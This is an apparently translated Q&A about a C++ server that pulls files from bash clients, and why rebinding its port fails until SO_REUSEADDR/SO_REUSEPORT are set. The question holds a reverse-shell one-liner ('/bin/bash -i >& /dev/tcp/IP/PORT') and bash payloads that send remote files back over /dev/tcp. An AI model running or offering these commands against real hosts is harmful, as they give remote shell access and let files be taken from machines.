解除绑定后无法绑定套接字

时间:2021-07-10 15:30:10

标签: c++ sockets download connection bind

我正在尝试编写一个类似服务器的程序,其中客户端连接,您可以下载您想要的任何文件(并有权限)。我制作了一个函数,可以让客户端使用 /dev/TCP/IP/port 设备发送文件(使用 bash,我不想将客户端安装到我的所有 PC 上)。我可以从客户端获取并保存文件,但是如果我想从同一个端口下载第二个文件(每次下载后端口都应该关闭),我会收到一个 EADDRINUSE 错误。

功能:

void DownloadFile(int fd, cmd_args cmdargs, arguments args) {

    // check filepaths
    if(cmdargs.lpath.size() == 0 || (exists(cmdargs.lpath.c_str()) && is_directory(cmdargs.lpath.c_str()))) {
        log(/*args.OutputFile*/"file", "Please specify a path to save the downloaded file");
        return;
    }

    if(cmdargs.rpath.size() == 0) {
        log("file", "Please enter a path to a file");
        return;
    }

    // open a second server to bind
    SockInitializer sock = InitializeSocket(cmdargs.ip, cmdargs.port, true);

    // PACKET FORMAT: [f/d][int][\n][data]
    // PACKET EXPLANATION: file/directory size_of_file new_line file_data
    // open connection
    string connect_payload = "exec 3>/dev/tcp/";
    connect_payload += cmdargs.ip;
    connect_payload += '/';
    connect_payload += to_string(cmdargs.port);
    //connect_payload += ';\n';
    // send file/dir type
    string begin_payload = "[ -d \"";
    begin_payload += cmdargs.rpath;
    begin_payload += "\" ] && echo -n d >&3 || echo -n f >&3;";
    // send size number
    begin_payload += "echo -n $(stat --printf='%s' ";
    begin_payload += cmdargs.rpath;
    begin_payload += ") >&3;";
    // new line
    begin_payload += "echo >&3;";
    // send file
    begin_payload += "cat ";
    begin_payload += cmdargs.rpath;
    begin_payload += " >&3\n\n";

    // accept connection
    SendString(fd, connect_payload);
    int cfd = accept(sock.fd, &sock.addr, &sock.addrlen);
    SendString(fd, begin_payload);

    // get type
    string str = ListenSocket(cfd, 1, true);
    bool isFile = (str == "f");

    // get file size
    string ToDownloadSTRING = "";
    char buf = '\0';
    do {
        if(buf != '\0')
            ToDownloadSTRING += buf;
        buf = ListenSocket(cfd, 1, true)[0];
    } while(buf != '\n');

    // parse file size
    int ToDownload = atoi(ToDownloadSTRING.c_str());

    /* download file */
    if(isFile) {
        int downloaded = 0;
        // open file [write binary]
        fstream file;
        file.open(cmdargs.lpath, ios::out | ios::binary);
        // loop to fetch data
        while(downloaded < ToDownload) {
            string tmp = ListenSocket(cfd, DOWNLOAD_BUF_SIZE);
            // write to file
            file.write(tmp.c_str(), tmp.size());
            // flush to file
            file.flush();
            // add size to downloaded
            downloaded += tmp.size();
        }
        // close file
        file.close();
    }

    string disconnect_payload = "exec 3>&-";
    SendString(fd, disconnect_payload);

    // terminate connection
    shutdown(cfd, SHUT_RDWR);
    close(cfd);
    shutdown(sock.fd, SHUT_RDWR);
    close(sock.fd);
}

以上是整个功能,以防您需要整个功能。 下面是相同的功能,但只有(我认为)你需要了解会发生什么

void DownloadFile(int fd, cmd_args cmdargs, arguments args) {

    //check the filepaths

    // open a second socket to bind
    SockInitializer sock = InitializeSocket(cmdargs.ip, cmdargs.port, true);

    // PACKET FORMAT: [f/d][int][\n][data]
    // PACKET EXPLAN: file/directory size_of_file new_line file_data

    // Payload to connect here and send the packet with the file
    string connect_payload = "exec 3>/dev/tcp/IP/PORT";
    string begin_payload = "[ -d \"REMOTE_PATH\" ] && echo -n d >&3 || echo -n f >&3; echo -n $(stat --printf='%s' REMOTE_PATH) >&3; echo >&3; cat REMOTE_PATH >&3\n\n";

    // accept connection on the new socket we initialized earlier in the function
    SendString(fd, connect_payload);
    int cfd = accept(sock.fd, &sock.addr, &sock.addrlen);
    SendString(fd, begin_payload);

    // is REMOTE_PATH referring to a file or a directory?
    string str = ListenSocket(cfd, 1, true);
    bool isFile = (str == "f");

    // get file size
    string ToDownloadSTRING = "";
    char buf = '\0';
    do {
        if(buf != '\0')
            ToDownloadSTRING += buf;
        buf = ListenSocket(cfd, 1, true)[0];
    } while(buf != '\n');

    // parse file size to integer
    int ToDownload = atoi(ToDownloadSTRING.c_str());

    /* download file */
    if(isFile) {
        int downloaded = 0;
        // open file [write binary]
        fstream file;
        file.open(LOCAL_PATH, ios::out | ios::binary);
        // loop to fetch data
        while(downloaded < ToDownload) {
            // get data
            string tmp = ListenSocket(cfd, DOWNLOAD_BUF_SIZE);
            // write to file
            file.write(tmp.c_str(), tmp.size());
            file.flush();
            // add size to downloaded
            downloaded += tmp.size();
        }
        // close file
        file.close();
    }

    // make the client close the file descriptor referring to the tcp connection
    string disconnect_payload = "exec 3>&-";
    SendString(fd, disconnect_payload);

    // terminate connection from the server
    shutdown(cfd, SHUT_RDWR);
    close(cfd);
    shutdown(sock.fd, SHUT_RDWR);
    close(sock.fd);

}

注意事项

问题中遗漏了很多功能,如果您需要任何功能,只需提问,我想您可以从名称中了解它们的作用。

客户端应该使用这个 bash connect 连接到服务器(我知道这实际上并不安全):/bin/bash -i >& /dev/tcp/IP/PORT 0>&1

我正在使用 parrotOS:Linux

函数应该被调用两次而不终止程序,或者断开客户端与主套接字的连接(传递给函数的 fd)

1 个答案:

答案 0 :(得分:2)

正如@Ted Lyngmo 所指出的,我需要在我的套接字上使用 SO_REUSEADDR 和 SO_REUSEPORT 选项。

如果您遇到同样的问题,请按照以下步骤操作:

//get file descriptor
int fd = socket.socket(/*options*/);

// set the options
int _enable = 1;
if(setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &_enable, sizeof(_enable)) < 0) {
    /*Do stuff */
}
if(setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &_enable, sizeof(_enable)) < 0) {
    /* Do stuff */
}
bind(fd, /*blah blah*/);

注意 SO_REUSEPORT 和 SO_REUSEADDR 选项需要从第一个套接字设置

不要尝试做类似的事情:

int sock = socket.socket(/*blah blah*/);
int bound = bind(sock, /*blah blah*/);
if(bound < 0 && errno == EADDRINUSE) {
    int _enable = 1;
    setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &_enable, sizeof(_enable));
    setsockopt(sock, SOL_SOCKET, SO_REUSEPORT, &_enable, sizeof(_enable));
    bind(sock, /*blah blah*/);
}
相关问题